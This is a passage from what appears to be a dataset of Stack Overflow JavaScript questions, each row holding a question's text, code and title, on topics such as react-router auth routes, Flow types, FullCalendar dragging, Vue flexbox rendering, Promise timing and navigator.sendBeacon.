snapshot ) = > { this.setState ( { userType : Helpers.getUserType ( snapshot.val ( ) ) } ) } , ( error ) = > { this.setState ( { userType : Helpers.getUserType ( 0 ) , error : error } ) ; } ) ; } } , updateAuth : function ( loggedIn ) { // console.log ( 'Updating Auth ' ) ; this.setUserLevel ( loggedIn ) ; this.setState ( { loggedIn : loggedIn } ) } , componentWillMount : function ( ) { Auth.onAuth ( this.updateAuth ) ; } , render : function ( ) { var regButton = ( this.state.loggedIn ) ? null : ( < Link className= '' Navigation__link '' to= '' register '' > Register < /Link > ) ; var accountButton = ( this.state.loggedIn ) ? ( < Link className= '' Navigation__link '' to= '' account '' > My Account < /Link > ) : null ; return ( < div > < nav className= '' Navigation '' > { this.state.loggedIn ? ( < Link className= '' Navigation__link '' to= '' /logout '' > Log out < /Link > ) : ( < Link className= '' Navigation__link '' to= '' /login '' > Sign in < /Link > ) } { regButton } { accountButton } < Link className= '' Navigation__link '' to= '' dashboard '' > Dashboard < /Link > < /nav > < div > { this.props.children } < /div > < /div > ) ; } } ) function requireAuth ( nextState , replaceState ) { if ( ! Auth.getAuth ( ) ) replaceState ( { nextPathname : nextState.location.pathname } , '/login ' ) } function notWhenLoggedIn ( nextState , replaceState ) { if ( Auth.getAuth ( ) ) replaceState ( { nextPathname : nextState.location.pathname } , '/dashboard ' ) } var routes = ( < Router history= { createHistory ( ) } > < Route path= '' / '' component= { App } > < Route path= '' /login '' component= { LogIn } onEnter= { notWhenLoggedIn } / > < Route path= '' /logout '' component= { LogOut } onEnter= { requireAuth } / > < Route path= '' /register '' component= { Register } onEnter= { notWhenLoggedIn } / > < Route path= '' /resetpassword '' component= { ResetPassword } onEnter= { notWhenLoggedIn } / > < Route path= '' /change-password '' component= { ChangePassword } onEnter= { requireAuth } / > < Route path= '' /dashboard '' component= { Dashboard } onEnter= { requireAuth } / > < Route path= '' /account '' component= { MyAccount } onEnter= { requireAuth } / > < Route path= '' * '' component= { NotFound } / > < /Route > < /Router > ) ReactDOM.render ( routes , document.querySelector ( ' # main ' ) ) ;",How do you pass top level component state down to Routes using react-router ? "JS : Let 's say I have a flow type Suit , and I want to compose it into another type called Card.Rather than hard-coding in the Suit strings directly in suit.js , is it possible to dynamically generate the Suit type based on a JavaScript primitive ( array ) ? Say ... This way the suits can be defined just once , and inside a JavaScript construct that will for re-use in other sections of the app . For example , a component elsewhere in the app that needs access to all the available suits : // types.jstype Suit = | `` Diamonds '' | `` Clubs '' | `` Hearts '' | `` Spades '' ; type Card = { ... suit : Suit , ... } // constants.jsconst SUITS = [ 'Diamonds ' , 'Clubs ' , 'Hearts ' , 'Spades ' ] ; // component.jsSUITS.map ( ( suit : Suit ) : void = > { ... } ) ;",Flow : Dynamically generate string union types ? "JS : I 'll try to keep it brief . I 'm alternating between two event listeners , one that calls `` goMetric '' and the other that calls `` goImperial '' . The unitSwitch is the link that switches between the two . Is there a more efficient way to remove one event listener and replace it with another ? Any other tips on how to write better code are greatly appreciated . ( note : am trying to avoid jQuery for now , in order to better understand JavaScript . I want to know what goes on under the hood . ) Just seems like a lot of code to do something so simple . var isMetric = false ; unitSwitch.addEventListener ( 'click ' , goMetric ) ; function goMetric ( ) { isMetric = true ; // removed other code unitSwitch.innerHTML = `` Go imperial '' ; unitSwitch.removeEventListener ( 'click ' , goMetric ) ; unitSwitch.addEventListener ( 'click ' , goImperial ) ; } function goImperial ( ) { isMetric = false ; // removed other code unitSwitch.innerHTML = `` Go metric '' ; unitSwitch.removeEventListener ( 'click ' , goImperial ) ; unitSwitch.addEventListener ( 'click ' , goMetric ) ; }",More efficient way to alternate between two event listeners ? "JS : I 'm investigating ways to build a multi-tenant JS web application . I was hoping to be able to import files as follows.I want to configure webpack/babel/a tool to look for a file specific to the tenant first , i.e . thing.tenant.js , then falling back to thing.js . A similar approach to platform-specific code in react-native , except the tenant , would be supplied as part of the build and end up with its own bundle bundle.tenant.js.Does anyone know of a way to do this ? import Thing from './thing '",Multi-tenant JavaScript application with tenant specific bundles "JS : I need to be able to let users move some events around on my fullcalendar . And I want to go to server and fetch counterparties ' busy times and display them as background events on the calendar when the dragging is going on . However , when I call .fullcalendar ( 'renderEvents ' , [ ... ] ) while the dragging is happening , the dragging mechanism within fullcalendar breaks and stops.Is there a way to either add events without breaking dragging or some other way highlight busy times that have to be retrieved with ajax call ? The example is here : https : //jsbin.com/qikiganelu/1/edit ? js , output . Try dragging 'Meeting with Bob ' . $ ( function ( ) { // document ready $ ( ' # calendar ' ) .fullCalendar ( { header : { left : `` , center : `` , right : `` } , defaultView : 'agenda ' , duration : { days : 2 } , allDaySlot : false , defaultDate : '2017-04-27 ' , minTime : ' 9:00 ' , maxTime : '17:00 ' , events : [ { title : 'Keynote ' , start : '2017-04-27T09:00 ' , end : '2017-04-27T11:00 ' , editable : false , color : `` gray '' , } , { title : 'Meeting with Bob ' , start : '2017-04-27T12:30 ' , end : '2017-04-27T13:00 ' , editable : true , } , ] , eventDragStart : function ( event , jsEvent , ui , view ) { // fetch Bob 's busy times and add them as background events var busyTimes = [ { start : '2017-04-27T14:00 ' , end : '2017-04-27T16:00 ' , rendering : 'background ' , } , { start : '2017-04-28T9:00 ' , end : '2017-04-28T12:00 ' , rendering : 'background ' , } ] ; $ ( ' # calendar ' ) .fullCalendar ( 'renderEvents ' , busyTimes ) ; } , } ) ; } ) ; body { margin : 40px 10px ; padding : 0 ; font-family : `` Lucida Grande '' , Helvetica , Arial , Verdana , sans-serif ; font-size : 14px ; } # calendar { max-width : 900px ; margin : 0 auto ; } < ! DOCTYPE html > < html > < head > < meta charset='utf-8 ' / > < link href='https : //fullcalendar.io/js/fullcalendar-3.4.0/fullcalendar.css ' rel='stylesheet ' / > < link href='https : //fullcalendar.io/js/fullcalendar-3.4.0/fullcalendar.print.css ' rel='stylesheet ' media='print ' / > < script src='//cdnjs.cloudflare.com/ajax/libs/moment.js/2.9.0/moment.min.js ' > < /script > < script src='//ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js ' > < /script > < script src='https : //fullcalendar.io/js/fullcalendar-3.4.0/fullcalendar.js ' > < /script > < ! -- the code from the JavaScript tab will go here -- > < ! -- the code from the CSS tab will go here -- > < /head > < body > < div id='calendar ' > < /div > < /body > < /html >",Add more events to fullcalendar when dragging starts JS : Using JavaScript I am pulling names out of webpage and stringing them together somehow ( probably going with an array ) . Once I gather all the names together I need to make another string that gives all the email addresses of the names . The email addresses are not on the webpage so I will have to list every possible thisName=thisEmail in my script somehow . I was about to approach this with making a bazillion if statements but I thought there has to be a more efficient way . Any suggestions ? var x = getElementById ( `` names '' ) ; var name = x.InnerHTML ; var email ; if ( name == 'Steve ' ) { email == 'steve462 @ gmail.com ' ; } if ( name == 'Bob ' ) { email == 'duckhunter89 @ gmail.com ' ; } ... .,Alternative to a million IF statements "JS : The following code does n't work : The one below works fine , I do n't get it , does n't the $ ( this ) reference `` .countdown '' since I 'm calling the function on this element ? Could someone please help me out ? $ ( `` .countdown '' ) .circularCountdown ( { startDate : $ ( this ) .attr ( 'data-start ' ) , endDate : $ ( this ) .attr ( 'data-end ' ) , timeZone : $ ( this ) .attr ( `` timezone '' ) } ) ; $ ( `` .countdown '' ) .circularCountdown ( { startDate : $ ( `` .countdown '' ) .attr ( 'data-start ' ) , endDate : $ ( `` .countdown '' ) .attr ( 'data-end ' ) , timeZone : $ ( `` .countdown '' ) .attr ( `` timezone '' ) } ) ;",JQuery $ ( this ) not working inside a function parameter "JS : Possible Duplicate : How to “ properly ” create a custom object in JavaScript ? Sorry if this has been answered before but I 'm a bit overwhelmed by the amount of choices offered to be in regard to creating custom objects in Javascript . I 'm not sure of their respective strengths or weaknesses or whether or not they differ at all.Here are some of the different ways I have found to construct objects:1 : New Object 2 : Literal Notation3 : FunctionsI even saw some more ways but they seemed less common.. As you can see I 'm not exactly sure what the standard is when someone just wants a simple object with fields and methods.Thanks for reading . person = new Object ( ) person.name = `` Tim Scarfe '' person.height = `` 6Ft '' person.run = function ( ) { this.state = `` running '' this.speed = `` 4ms^-1 '' } timObject = { property1 : `` Hello '' , property2 : `` MmmMMm '' , property3 : [ `` mmm '' , 2 , 3 , 6 , `` kkk '' ] , method1 : function ( ) { alert ( `` Method had been called '' + this.property1 ) } } ; function AdBox ( ) { this.width = 200 ; this.height = 60 ; this.text = 'default ad text ' ; this.prototype.move = function ( ) { // code for move method goes here } } this.prototype.display = function ( ) { // code }",How to make custom objects in Javascript ? "JS : Consider the following piece of code : The output for this code is that the alert box displays the message `` outsidescope '' . But , if I slightly modify the code as : the alert box displays the message `` undefined '' . I could haveunderstood the logic if it displays `` undefined '' in both the cases . But , thatis not happening . It displays `` undefined '' only in the second case . Why is this ? Thanks in advance for your help ! < html > < head > < /head > < body > < script type= '' text/javascript '' > var outside_scope = `` outside scope '' ; function f1 ( ) { alert ( outside_scope ) ; } f1 ( ) ; < /script > < /body > < /html > < html > < head > < /head > < body > < script type= '' text/javascript '' > var outside_scope = `` outside scope '' ; function f1 ( ) { alert ( outside_scope ) ; var outside_scope = `` inside scope '' ; } f1 ( ) ; < /script > < /body > < /html >",Why does shadowed variable evaluate to undefined when defined in outside scope ? "JS : I have an interval [ 0 ; max ] and I want to split it into a specific number of sub-intervals . For this , i wrote a function called getIntervalls ( max , nbIntervals ) where max is the max element in my first interval and nbIntervals is the number of expected sub-intervals.For example : getIntervalls ( 3 , 2 ) should return [ [ 0,1 ] , [ 2,3 ] ] , getIntervalls ( 6 , 2 ) should return [ [ 0,3 ] , [ 4,6 ] ] , getIntervalls ( 8 , 3 ) should return [ [ 0,2 ] , [ 3,5 ] , [ 6,8 ] ] , getIntervalls ( 9 , 3 ) should return [ [ 0,3 ] , [ 4,7 ] , [ 8,9 ] ] , Here is my function : It work properly , and shows this output : When I change the parameters to 7 and 3 , it shows : instead ofWould anyone can help me ? Thank you in advance . An ES6 syntax will be appreciated ! : ) function getIntervalls ( max , nbIntervalls ) { var size = Math.ceil ( max / nbIntervalls ) ; var result = [ ] ; if ( size > 1 ) { for ( let i = 0 ; i < nbIntervalls ; i++ ) { var inf = i + i * size ; var sup = inf + size < max ? inf + size : max ; result .push ( [ inf , sup ] ) ; } } else { result.push ( [ 0 , max ] ) ; } return result ; } console.log ( JSON.stringify ( getIntervalls ( 7 , 2 ) ) ) ; [ [ 0,4 ] , [ 5,7 ] ] [ [ 0,3 ] , [ 4,7 ] , [ 8,7 ] ] [ [ 0,2 ] , [ 3,5 ] , [ 6,7 ] ]",Split a range of number to a specific number of intervals JS : Can someone explain what this does ? var foo = foo || alert ( foo ) ;,var foo = foo || alert ( foo ) ; "JS : The repeater fires the event when Item is createdAnd it is possible to catch and modify the control on this single data row.Now the problem is , that for any JavaScript , it is needed to determine the correct client ID . But the control does not hold the Client ID , just the lblShipmentDetails String.What MSDN says : https : //msdn.microsoft.com/en-us/library/system.web.ui.control.clientidmode % 28v=vs.110 % 29.aspxhttps : //msdn.microsoft.com/en-us/library/1d04y8ss % 28v=vs.140 % 29.aspxor CodeProject : http : //www.codeproject.com/Articles/108887/Client-Ids-Generation-with-ASP-NETBut how to catch the correct ClientID from Repeater to use it in JavaScript ? Source is generated with auto-id . How to get this id ? Protected Sub Repeater1_ItemCreated ( sender As Object , e As RepeaterItemEventArgs ) Handles Repeater1.ItemCreated Dim lnk As HyperLink = CType ( e.Item.FindControl ( `` lblShipmentDetails '' ) , HyperLink )",Get ClientId of control in Repeater "JS : Browsers support dynamic JavaScript evaluation through eval or new Function . This is very convenient for compiling small data-binding expressions provided as strings into JavaScript functions.E.g . I would like to preprocess these expressions to support ES6 arrow function syntax without using babel or any other library with more than a few hundred lines of JavaScript.Unfortunately , this does n't work even with the latest IE version.The function should take a string and return another string . E.g.should return'return x.map ( function ( a ) { return a.id } ) 'Any ideas on how to implement such a thing ? var add2 = new Function ( ' x ' , 'return x + 2 ' ) ; var y = add2 ( 5 ) ; //7 var selectId = new Function ( ' x ' , 'return x.map ( a= > a.id ) ' ) ; resolveArrows ( 'return x.map ( a= > a.id ) ' )",Arrow function eval preprocessor "JS : I am getting problem while binding my dropdown value with associative array.Problem is with track by so like when I do n't add track by to my dropdown then I have my binding with dropdown and when I add track by then O am unable to auto select dropdown value.I want to use track by with ng-options so that angular js does n't add $ $ hashKey and leverage performance benefit associated with track by.I am not getting why this behaviour is happening.Note : I only want to bind name of choices like Pizza or burger for each of my $ scope.items and not whole object.Update : As I understand and with so much trying with current data structure of my $ scope.items it is not working with ng-options and I want to use ng-options with track by to avoid generating hash key by Angular js . I also tried ng-change as suggested by @ MarcinMalinowski but I am getting key as undefined.So what should be my data structure of $ scope.items so that when I need to access any item from my $ scope.items ? I can access it without doing loop ( like we access items from associative array ) like how I can access now with correct data structure and using ngoptions only with track by . var app = angular.module ( `` myApp '' , [ ] ) ; app.controller ( `` MyController '' , function ( $ scope ) { $ scope.items = [ { `` title '' : `` 1 '' , `` myChoice '' : '' '' , `` choices '' : { `` pizza '' : { `` type '' : 1 , `` arg '' : `` abc '' , `` $ $ hashKey '' : `` object:417 '' } , `` burger '' : { `` type '' : 1 , `` arg '' : `` pqr '' , `` $ $ hashKey '' : `` object:418 '' } } } , { `` title '' : `` 2 '' , `` myChoice '' : '' '' , `` choices '' : { `` pizza '' : { `` type '' : 1 , `` arg '' : `` abc '' , `` $ $ hashKey '' : `` object:417 '' } , `` burger '' : { `` type '' : 1 , `` arg '' : `` pqr '' , `` $ $ hashKey '' : `` object:418 '' } } } ] ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js '' > < /script > < ul ng-app= '' myApp '' ng-controller= '' MyController '' > < div ng-repeat= '' data in items '' > < div > { { data.title } } < /div > < select ng-model= '' data.myChoice '' ng-options= '' key as key for ( key , value ) in data.choices track by $ index '' > < option value= '' '' > Select Connection < /option > < /select > < /div > < /ul >",Dropdown binding issue with track by "JS : I came across different browser behaviors when programmatically changing dimensions or the position property of flex-box items . The layout does n't return to its original state on Chrome.In this pen , when the user clicks an image , I 'm changing the item position to absolute and modifying its width and height ( actually it could be anything that affects the layout , e.g . padding ) . When the user clicks again , I rollback the changes , so I expect the layout to reset accordingly.A js workaround is to force the layout to re-render by quickly changing the items padding by 1px back and forth , but I wonder : Why does this happen and is there a css-only workaround ? ChromeWhen the user clicks again and the flex item style is reset , flex-basis is not taken into account anymore and the layout is broken.FirefoxWhen the user clicks again and the flex item style is reset , all items are properly rendered . new Vue ( { el : ' # app ' , data ( ) { return { activeImageIndex : null , images : [ { url : 'https : //unsplash.it/600 ' , style : { flexBasis : '50 % ' } } , { url : 'https : //unsplash.it/600 ' , style : { flexBasis : '50 % ' } } , { url : 'https : //unsplash.it/600 ' , style : { flexBasis : '30 % ' } } , { url : 'https : //unsplash.it/600 ' , style : { flexBasis : '30 % ' } } , { url : 'https : //unsplash.it/600 ' , style : { flexBasis : '30 % ' } } , ] } } , methods : { onClick ( index ) { this.activeImageIndex = this.activeImageIndex === index ? null : index } } , } ) # app { width : 800px ; } .ig-container { display : flex ; flex-direction : column ; flex-wrap : wrap ; margin : 0 -5px ; position : relative ; height : 500px ; } .ig-item { flex : 1 1 ; padding : 10px ; box-sizing : border-box ; } .ig-item : hover > div { border-color : green ; } .ig-item.active { position : absolute ; z-index : 3 ; width : 100 % ; height : 100 % ; } .ig-item.active img : hover { cursor : zoom-out ; } .ig-item > div { height : 100 % ; width : 100 % ; background-color : blue ; position : relative ; border : 5px solid gainsboro ; overflow : hidden ; } .ig-item .ig-overlay { position : absolute ; height : 100 % ; width : 100 % ; z-index : 3 ; background-color : rgba ( 0 , 0 , 0 , 0.4 ) ; color : # fff ; font-size : 3rem ; display : flex ; align-items : center ; text-align : center ; } .ig-item .ig-overlay span { width : 100 % ; } .ig-item img { height : 100 % ; width : 100 % ; object-fit : cover ; position : absolute ; z-index : 2 ; transition : transform .3s ; } .ig-item img : hover { cursor : zoom-in ; } .ig-item .loading-overlay.ig-loading { position : absolute ; z-index : 1 ; } .ig-item .loading-overlay.ig-loading .loading-icon : after { top : -2.5em ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/vue/2.3.4/vue.min.js '' > < /script > < div id= '' app '' > < div class= '' ig-container '' > < div class= '' ig-item '' : class= '' { active : activeImageIndex === index } '' : style= '' image.style '' v-for= '' ( image , index ) in images '' > < div > < img @ click= '' onClick ( index ) '' title= '' '' : src= '' image.url '' > < /div > < /div > < /div > < /div >",Flex-box items do n't re-render correctly on chrome "JS : I have a question regarding this event here , deviceready.It appears the event is fired every time the device ( I 'm working on Android 2.3 ) is tilted to the side ( So that the display changes to wide ) . I guess this is the intended behavior , but is there any way to prevent it , as my application needs to be initialized only once ? document.addEventListener ( 'deviceready ' , function ( ) { app.init ( ) ; } , false ) ;",Phonegap deviceready event "JS : I 've really tried my best to solve this with my own research , but unfortunately I 'm an absolute novice with three.js and javascript and I really need some help.I am trying to import a model from threex ( google threex -- I ca n't post another link ) into my three.js scene . Unfortunately , when I add the code to do so as follows : I end up with a blank scene , and this error in my javascript console : Uncaught TypeError : ( intermediate value ) .fromArray is not a function . :8000/bower_components/threex.spaceships/examples/vendor/three.js/examples/js/loaders/MTLLoader.js:299Which leads me to the ( supposedly ) offending line of code in MTLLoader.js ( whatever that file is . ) I do n't know what 's happening , and I 'm in a bit over my head I think . Does anybody know how to fix this ? I am working off of this tutorial : https : //www.youtube.com/watch ? v=vw5_YyM4hn8 ( if it helps , the sample code for that segment of the tutorial is found here : https : //github.com/jeromeetienne/flying-spaceship-minigame/blob/master/step1-01-naked-spaceship.html -- I ca n't see any problems -- I 've so far tried to follow the steps very closely . ) Thanks in advance . var spaceship = null ; THREEx.SpaceShips.loadSpaceFighter03 ( function ( object3d ) { scene.add ( object3d ) spaceship = object3d } ) params [ 'ambient ' ] = new THREE.Color ( ) .fromArray ( value ) ;",Three.js + Threex + Javascript : `` fromArray is not a function '' ? "JS : I 've followed every step of this walkthrough , but when I try to create a new row , I get a 403 : code : 119message : `` This user is not allowed to perform the createoperation on Messages . You can change this setting in the Data Browser . `` My code : My CLPs are set as follows : It looks like someone else posted the same issue in a google group . What are we missing ? Messages = Parse.Object.extend ( `` Messages '' ) var message = new Messages ( ) ; message.set ( `` sender '' , Parse.User.current ( ) ) ; message.set ( `` receiver '' , *anotherUser* ) ; message.set ( `` subject '' , `` foo '' ) message.set ( `` body '' , `` bar '' ) message.save ( ) .then ( function ( message ) { console.log ( `` success ! '' ) } , function ( error ) { console.log ( `` error : `` , error ) ; } ) ;",Parse Pointer Permissions do n't allow create "JS : Visual Basic code does not render correctly with prettify.js from Google.on Stack Overflow : in Visual Studio ... I found this in the README document : How do I specify which language my code is in ? You do n't need to specify the language since prettyprint ( ) will guess . You can specify a language by specifying the language extension along with the prettyprint class like so : I see no lang-vb or lang-basic option . Does anyone know if one exists as an add-in ? Note : This is related to the VB.NET code blocks suggestion for Stack Overflow . Partial Public Class WebForm1 Inherits System.Web.UI.Page Protected Sub Page_Load ( ByVal sender As Object , ByVal e As System.EventArgs ) Handles Me.Load 'set page title Page.Title = `` Something '' End SubEnd Class < pre class= '' prettyprint lang-html '' > The lang-* class specifies the language file extensions . Supported file extensions include `` c '' , `` cc '' , `` cpp '' , `` cs '' , `` cyc '' , `` java '' , `` bsh '' , `` csh '' , `` sh '' , `` cv '' , `` py '' , `` perl '' , `` pl '' , `` pm '' , `` rb '' , `` js '' , `` html '' , `` html '' , `` xhtml '' , `` xml '' , `` xsl '' . < /pre >",Is there a lang-vb or lang-basic option for prettify.js from Google ? "JS : I have the following JS : I have tried this with a closure ( seen above ) and also about a dozen other ways . I ca n't seem to get this to work in any browser . The setTimeout function works fine when not being called in a `` class '' function . Can someone please help me with this ? function TrackTime ( ) { this.CountBack = function ( secs ) { setTimeout ( function ( ) { this.CountBack ( secs ) } , SetTimeOutPeriod ) ; } }",How to call this.function within setTimeout in JS ? "JS : I am using the library Vis.js to display a Network.For my application , I need the network to be displayed fullscreen , with the nodes almost touching the borders of its container.The problem comes from network.fit ( ) ; it wo n't Zoom-In further than scale ' 1.0 ' I wrote a Fiddle to showcase the issue : http : //jsfiddle.net/v1467x1d/12/How can I force Vis to zoom until the network is fullscreen ? var nodeSet = [ { id:1 , label : 'big ' } , { id:2 , label : 'big too ' } ] ; var edgeSet = [ { from:1 , to:2 } ] ; var nodes = new vis.DataSet ( nodeSet ) ; var edges = new vis.DataSet ( edgeSet ) ; var container = document.getElementById ( 'mynetwork ' ) ; var data = { nodes : nodes , edges : edges } ; var options = { } ; var network = new vis.Network ( container , data , options ) ; network.fit ( ) ; console.log ( 'scale : '+ network.getScale ( ) ) ; // Always 1",Vis.js wo n't zoom-in further than scale 1.0 with .fit ( ) "JS : I read the Promise/A+ specification and it says under 2.2.4 : onFulfilled or onRejected must not be called until the execution context stack contains only platform codeBut in Firefox ( I tested 38.2.1 ESR and 40.0.3 ) the following script executes the onFulfilled method synchronously : ( It does not seem to run using alerts here , it can also be tried here : http : //jsbin.com/yovemaweye/1/edit ? js , output ) It works as expected in other browsers or when using the ES6Promise-Polyfill.Did I miss something here ? I always though that one of the points of the then-method is to ensure asynchronous execution.Edit : It works when using console.log , see answer by Benjamin Gruenbaum : As he points out in the comments , this also happens when using synchronous requests , which is exactly why it happens in your test scenario.I created a minimal example of what happens in our Tests : In Firefox this leads to : var p = Promise.resolve ( `` Second '' ) ; p.then ( alert ) ; alert ( `` First '' ) ; function output ( sMessage ) { console.log ( sMessage ) ; } var p = Promise.resolve ( `` Second '' ) ; p.then ( output ) ; output ( `` First '' ) ; function request ( bAsync ) { return new Promise ( function ( resolve , reject ) { var xhr = new XMLHttpRequest ( ) ; xhr.addEventListener ( `` readystatechange '' , function ( ) { if ( xhr.readyState === XMLHttpRequest.DONE ) { resolve ( xhr.responseText ) ; } } ) ; xhr.open ( `` GET '' , `` https : //sapui5.hana.ondemand.com/sdk/resources/sap-ui-core.js '' , ! ! bAsync ) ; xhr.send ( ) ; } ) ; } function output ( sMessage , bError ) { var oMessage = document.createElement ( `` div '' ) ; if ( bError ) { oMessage.style.color = `` red '' ; } oMessage.appendChild ( document.createTextNode ( sMessage ) ) ; document.body.appendChild ( oMessage ) ; } var sSyncData = null ; var sAsyncData = null ; request ( true ) .then ( function ( sData ) { sAsyncData = sData ; output ( `` Async data received '' ) ; } ) ; request ( false ) .then ( function ( sData ) { sSyncData = sData ; output ( `` Sync data received '' ) ; } ) ; // Testsif ( sSyncData === null ) { output ( `` Sync data as expected '' ) ; } else { output ( `` Unexpected sync data '' , true ) ; } if ( sAsyncData === null ) { output ( `` Async data as expected '' ) ; } else { output ( `` Unexpected async data '' , true ) ; }",Firefox : Promise.then not called asynchronously "JS : I am exploring vue.js and have a question regarding how a certain problem can be addressed.My root component has the following template : Basically , < player > component has < video > element inside that will load the specified track ( with native controls hidden ) . As such , it will in reality drive the state of the application as the video plays through ( current time , playback state , etc ) . However , < control-panel > has a scrub bar and buttons that dictate the video state ( play/pause , seek ) . Obviously , altering this general state in one of the components will affect the other two components ( map will also progress according to the current time ) .However , I wonder if it would make more sense and whether Vue supports providing references to components so that I could provide < control-panel > with a reference to < player > so that it could take the state changes directly from it.Or should this be done in a kind of global-state-passed-down-to-children or a event-broadcast way ? Before I am corrected , consider an example where there are two < player > s and two < control-panel > s that are not hierarchically related but one panelA works with playerA and panelB with playerB . In this case , I think broadcast option falls off the table , correct ? Any suggestions are welcome especially so as I 'm just learning Vue.Update 1So after getting a bit more familiar with Vue and hearing back from the community , I think I 've come up with a clever solution for syncing < player > and < control-panel > together . My markup changes to the following : Notice the addition of v-ref attributes to < player > and < control-panel > as well as : player= '' $ refs.player '' attribute in the latter . This allows me to tie logically together one to another . In my head , it makes sense for control panel to know who or what it is controlling . I 'm going to test it out further but , for now , this seems to work.As for tying together < map > , I will end up using broadcasting or simply two-way currentTime updated by < control-panel > . I 'll update this post as I go and will either mark the correct answer or post my own , if different from any of the answers.Update 2Read my answer below . I have been able to resolve my issue successfully using the approach below . < div class= '' container '' > < div class= '' stage '' > < map : current-time= '' currentTime '' : recording= '' recording '' > < /map > < player : track= '' track '' : current-time= '' currentTime '' > < /player > < /div > < control-panel : current-time= '' currentTime '' > < /control-panel > < /div > < div class= '' container '' > < div class= '' stage '' > < map : current-time= '' currentTime '' : recording= '' recording '' > < /map > < player : track= '' track '' : current-time= '' currentTime '' v-ref : player > < /player > < /div > < control-panel : current-time= '' currentTime '' v-ref : player-controls : player= '' $ refs.player '' > < /control-panel > < /div >",VueJS connect unrelated ( as in parent/child ) components JS : I 'm creating a class that extends Object in JavaScript and expect super ( ) to initialise the keys/values when constructing a new instance of this class.Why is n't foo defined as 'bar ' on ext in this example ? EDITExplanation : Using ` super ( ) ` when extending ` Object ` Solution : Using ` super ( ) ` when extending ` Object ` class ExtObject extends Object { constructor ( ... args ) { super ( ... args ) ; } } const obj = new Object ( { foo : 'bar ' } ) ; console.log ( obj ) ; // { foo : 'bar ' } const ext = new ExtObject ( { foo : 'bar ' } ) ; console.log ( ext ) ; // ExtObject { } console.log ( ext.foo ) ; // undefined,Using ` super ( ) ` when extending ` Object ` "JS : Here is a simple piece of code : HTML : JS Code : Problem : When I click on `` close '' it automatically calls live ( ) too . See this in jsfiddle : http : //jsfiddle.net/uFJkg/Is it because I am changing the same element 's id from `` close '' to `` expand '' ? How do I fix this problem ? I have tried : but it did n't work . I tried event.stopPropagation ( ) but that did n't help too . I tried having a separate div with id `` expand '' and hide it on document.ready but for some reason it is not working too.Then I have tried since I read that live ( ) has been deprecated in jQuery 1.7+ : and that is not working too.Any thoughts ? I think a fresh set of eyes will be able to spot what I am missing.Thanks . < div id= '' close '' > Click me < /div > $ ( `` # close '' ) .click ( function ( ) { alert ( `` 1 '' ) ; $ ( this ) .attr ( 'id ' , 'expand ' ) ; } ) ; $ ( `` # expand '' ) .live ( 'click ' , function ( ) { alert ( `` 2 '' ) ; $ ( this ) .attr ( 'id ' , 'close ' ) ; } ) ; $ ( `` # expand '' ) .die ( ) .live ( 'click ' , function ( ) $ ( `` # expand '' ) .on ( 'click ' , function ( ) {",jQuery 'click ' automatically fires 'live ' "JS : I have been struggling to write code that will make a POST request reliably on close of the tab window . Navigator.sendBeacon seems to be exactly what I need ( I only require this to work for Google Chrome ) .My beacon includes custom headers , that 's why I create a Blob.However , this request does not seem to be happening . This is especially hard to debug since the window closes . So the question is , why is my beacon not sending ? $ ( global ) .bind ( 'unload ' , function ( ) { let body = { UserEmail : appState.user.email , Job : { Id : appState.jobId } , Timestamp : '/Date ( ' + new Date ( ) .getTime ( ) + ' ) / ' , EventOrigin : 'PdfReviewClient ' , Event : 'JobClosed ' } ; let headers = { Authorization : ` JWT $ { authenticationState.token } ` , 'Content-Type ' : 'application/json ; charset=utf8 ' } ; let blob = new Blob ( [ JSON.stringify ( body ) ] , headers ) ; navigator.sendBeacon ( configuration.rootApiUrl + 'jobevents ' , blob ) ; } ) ;",Call a POST request for logging from window unload "JS : ProblemI have following code snippet that is used to get file information during file drag and drop upload : I did research and found that Firefox does not support directory uploads , but allows client to drag and drop them to drop area . QuestionHow can I filter out directories from upload handler in Firefox ? UpdateYou can find working sample here : https : //jsfiddle.net/gevorgha/exs3ta25/Please consider that I need it to work on the latest stable Firefox version - 46.0.1 without enabling extra preferences from browser , because I do n't want to ask users to enable preference to make upload work properly . var files = event.dataTransfer.files ; for ( var i = 0 ; i < files.length ; i++ ) { var file = files [ i ] ; // I need notDirectory ( file ) function . notDirectory ( file ) .then ( function ( file ) { output.innerHTML += ` < p > Name : $ { file.name } < /br > Size : $ { file.size } bytes < /br > Type : $ { file.type } < /br > Modified Date : $ { file.lastModifiedDate } < /p > ` ; } ) ; }",How can I filter out directories from upload handler in Firefox ? "JS : I try to test my react-native application using AVA and the babel-preset-react-nativeMy config looks like this : …and fails like this : If I export this babel config in a .babelrc file and use `` babel '' : `` inherit '' in my AVA config , it fails in an other way : I ca n't understand how to correctly configure this . I 've tried Mocha , encountered the same problems . `` scripts '' : { `` test '' : `` ava '' } , '' ava '' : { `` files '' : [ `` src/**/__tests__/*.js '' ] , `` failFast '' : true , `` require '' : [ `` react-native-mock/mock.js '' , `` babel-register '' ] , `` babel '' : { `` presets '' : [ `` react-native '' ] } } , '' devDependencies '' : { `` ava '' : `` ^0.13.0 '' , `` babel-preset-react-native '' : `` ^1.2.4 '' , `` babel-register '' : `` ~6.4.3 '' , `` react-native-mock '' : `` 0.0.6 '' } /Users/zoon/Projets/xxxxx/node_modules/babel-register/node_modules/babel-core/lib/transformation/file/index.js:556 throw err ; ^SyntaxError : /Users/zoon/Projets/xxxxx/src/reducers/env.js : Unexpected token ( 12:8 ) 10 | case types.RECEIVE_CHANGE_ENV : 11 | return { > 12 | ... state , | ^ 13 | current : Environments [ action.env ] 14 | } ; 15 | default : /Users/zoon/Projets/xxxxx/node_modules/lodash-es/lodash.js:10export { default as add } from './add ' ; ^^^^^^SyntaxError : Unexpected token export",Test config for AVA + React-Native "JS : I 'm writing some node.js to interact with sensors over a serial port connection . The code for reading the sensor is asynchronous , naturally . In my control code , though , I need to read a sensor , do something based on the value , read again , do something else , etc . To do this , I 'm using code like the following self-contained test : So , my sequential control code is in a generator which yields to readSensor ( ) when it needs to get a reading . When the sensor reading is done , it calls the callback , and control returns to the main code . I 'm doing it this way because I may need to read from various sensors in different orders depending on previous readings . So , here 's the questionable part : I pass this.next.bind ( this ) as a callback to the asynchronous read function . The code seems to work when generators are enabled ( -- harmony_generators ) , but I am wondering if there are pitfalls here that I am missing . I 'm relatively new to JS , so do n't be afraid to point out the obvious : ) var main = new Main ( ) ; main.next ( ) ; function* Main ( ) { var reading = yield readSensor ( this.next.bind ( this ) ) ; console.log ( 